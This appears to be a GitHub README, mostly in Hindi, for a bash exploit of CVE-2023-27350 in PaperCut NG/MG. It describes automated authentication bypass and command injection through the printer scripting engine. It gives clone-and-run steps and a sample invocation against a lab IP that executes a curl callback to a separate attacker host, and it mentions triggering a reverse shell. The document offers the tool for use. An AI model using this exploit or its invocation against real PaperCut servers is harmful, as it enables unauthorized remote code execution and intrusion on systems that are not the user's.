PaperCut NG/MG RCE (CVE-2023-27350)

CVE-2023-27350 के लिए एक सरल बैश एक्सप्लॉइट। यह स्क्रिप्ट प्रमाणीकरण बाइपास, वातावरण तैयारी, और PaperCut प्रिंटर स्क्रिप्टिंग इंजन के माध्यम से कमांड इंजेक्शन को स्वचालित करता है।

दृश्य प्रमाण

बुनियादी RCE:

---

रिवर्स शेल ट्रिगर करना:

---

त्वरित आरंभ

# Clone the repository
git clone https://github.com/dezso-dfield/CVE-2023-27350.git

# Enter the directory
cd CVE-2023-27350

# Make the script executable
chmod +x rce.sh

# Run the exploit (Example with Proxy)
./rce.sh -u http://10.129.238.16:9191 -x http://10.129.238.16:3128 -c "curl http://10.10.15.82:8000/rce"

विकल्प

• -u : लक्ष्य URL (उदा., http://10.129.x.x:9191)
• -c : निष्पादित करने के लिए कमांड (उद्धरणों में लपेटा हुआ)
• -x : (वैकल्पिक) प्रॉक्सी URL (उदा., http://10.129.x.x:3128)